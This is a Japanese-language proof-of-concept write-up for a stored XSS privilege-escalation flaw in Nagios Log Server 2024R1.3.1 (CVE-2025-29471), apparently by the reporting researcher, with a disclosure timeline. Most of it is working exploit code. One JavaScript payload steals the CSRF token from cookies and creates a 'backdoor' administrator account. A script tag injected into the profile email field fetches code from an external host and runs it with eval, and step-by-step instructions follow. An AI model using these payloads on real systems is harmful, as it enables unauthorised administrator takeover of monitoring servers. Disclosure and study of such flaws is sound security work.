Nagios Log Server における格納型XSS脆弱性（管理者への権限昇格）

▶️ PoC デモ

日付: 2025-04-02

攻撃コード作成者: Seth Kraft

ベンダーホームページ: https://www.nagios.com/

ベンダー変更履歴: https://www.nagios.com/changelog/#log-server

ソフトウェアリンク: https://assets.nagios.com/downloads/nagios-log-server/versions.php

影響を受けるバージョン: `2024R1.3.1` 以下

テスト環境: `Nagios Log Server 2024R1.3.1` (デフォルト設定、Ubuntu 20.04)

CWE-ID: `CWE-79`

基本スコア: 8.3 (High)

ベクター文字列: `CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H`

タイプ: 格納型クロスサイトスクリプティング (XSS)、権限昇格

許可

許可されたテストおよび研究目的に限ります。 自分が所有していない、または明示的なテスト許可を得ていないシステムでこの脆弱性をテストまたは悪用しないでください。

説明

Nagios Log Server 2024R1.3.1 における格納型XSS脆弱性により、低権限ユーザーが自身のプロフィールの「email」フィールドに悪意のあるJavaScriptを注入できます。

管理者が監査ログを表示すると、ペイロードが実行され、権限昇格により不正な管理者アカウントが作成されます。

概念実証

外部サーバーで以下の内容の xss.js ペイロードをホストします。Githubでも問題なく動作します。

<target-ip> をNagios Log ServerターゲットのIP/ホスト名に更新してください。

(function() {
  console.log("🔥[XSS] Payload Executing...🔥");

  var csrfTokenMatch = document.cookie.match(/csrf_ls=([^;]+)/);
  if (!csrfTokenMatch) return;
  var csrfToken = encodeURIComponent(csrfTokenMatch[1]);
  console.log("[XSS] CSRF Token:", csrfToken);

  var requestBody = "csrf_ls=" + csrfToken +
    "&name=backdoor" +
    "&[email protected]" +
    "&username=backdoor" +
    "&password=Password123!" +
    "&password2=Password123!" +
    "&auth_type=admin" +
    "&apiaccess=1" +
    "&language=en_US" +
    "&account_type=local";

  fetch("http://<target-ip>/nagioslogserver/admin/users/create", {
    method: "POST",
    headers: { "Content-Type": "application/x-www-form-urlencoded" },
    body: requestBody
  })
  .then(response => response.text())
  .then(function(data) {
    console.log("🔥[XSS] User Created Successfully!🔥");
    console.log(data);
  })
  .catch(console.error);
})();

通常（非管理者）ユーザーとして Nagios Log Server にログインします。
プロフィール更新エンドポイントに移動します。

http://<target-ip>/nagioslogserver/profile/update
次のペイロードをメールフィールドに注入します。fetch の行を xss.js が保存されているURLに更新してください。

<script>
fetch("https://<EXTERNAL-HOST>/xss.js")
  .then(response => response.text())
  .then(scriptText => eval(scriptText))
  .catch(console.error);
</script>

管理者が監査ログを表示するのを待ちます。JavaScriptが実行され、新しい管理者アカウントが作成されます。

ユーザー名: backdoor

パスワード: Password123!

Nagios Log Server で backdoor としてフル管理アクセスでログインします。

開示のタイムライン

2025-02-07: 研究者がNagiosに脆弱性を報告
2025-02-14: Nagiosがセキュリティレポートの受領を確認
2025-03-03: 研究者がNagiosに更新を要求
2025-03-10: 研究者がNagiosに更新を要求
2025-03-17: Nagiosが脆弱性の対処を確認し、修正がまもなくリリースされる予定であることを伝える
2025-03-19: Nagiosが Nagios Log Server 2024R2 をリリース
2025-03-27: 研究者が Nagios Log Server 2024R2 で格納型XSS脆弱性が解決されたことをテスト・確認し、Nagiosに報告
2025-04-01: MITREがこの格納型XSS脆弱性に CVE-2025-29471 を割り当てるが、ベンダーからのセキュリティアドバイザリが公開されていないため詳細は未公開のまま
2025-04-09: Nagiosが2024R2修正のフォローアップ（2024R1.3.2）をリリースし、格納型XSS脆弱性の修正を2024R1ブランチにバックポート
2025-04-15: CVE-2025-29471 が正式に公開される

免責事項

この作業は私の雇用外で行われ、サイバーセキュリティ研究における個人的な努力を反映したものです。

CVE-2025-29471

人気